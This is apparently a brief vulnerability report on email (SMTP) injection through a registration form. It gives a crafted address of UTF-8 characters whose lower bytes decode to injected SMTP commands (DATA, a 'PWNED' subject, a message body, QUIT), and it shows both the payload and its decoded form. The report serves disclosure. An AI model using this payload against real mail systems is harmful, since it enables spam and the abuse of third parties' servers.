Email injection that can send a spam message (very short) to an email eddress. 1. Using for example the email registration the attacker uses a crafted email address with UTF-8 characters like: 甲申申甶甴甸电甹甸甸畀畱畱瘮畣畯畭甾瘍瘊畄畁畔畁瘍瘊畓畵畢番略畣畴町畐畗畎畅畄瘍瘊瘍瘊畈畡畣畫瘡瘍瘊瘮瘍瘊畑畕畉畔瘍瘊 2. The special chars in UTF-8 have in lower byte the value: 2336485988>\r\nDATA\r\nSubject:PWNED\r\n\r\nHack!\r\n.\r\nQUIT\r\n 3. This creates the email injection that sends the email to the address 2336485988